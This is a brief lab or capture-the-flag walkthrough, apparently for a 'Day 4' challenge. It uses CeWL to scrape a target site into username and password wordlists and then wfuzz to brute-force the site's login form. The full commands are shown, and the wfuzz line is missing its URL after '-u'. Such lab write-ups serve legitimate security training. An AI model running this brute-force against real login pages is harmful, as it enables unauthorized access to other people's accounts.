[Day 4] Brute-forcing Baby, it's CeWLd outside

What is the correct username and password combination? Format username:password

Ok for this room we will be using CeWL to generate username/password list from the website.

So let's generated the wordlist

└─$ cewl -d 2 -m 5 -w passwords.txt http://{MACHINE-IP} --with-numbers
└─$ cewl -d 0 -m 5 -w usernames.txt http://{MACHINE-IP}/team.php --lowercase

This generates the wordlists so know we can use wfuzz to attempt bruteforce the login page

└─$ wfuzz -c -z file,usernames.txt -z file,passwords.txt --hs "Please enter the correct credentials" -u -d "username=FUZZ&password=FUZ2Z"
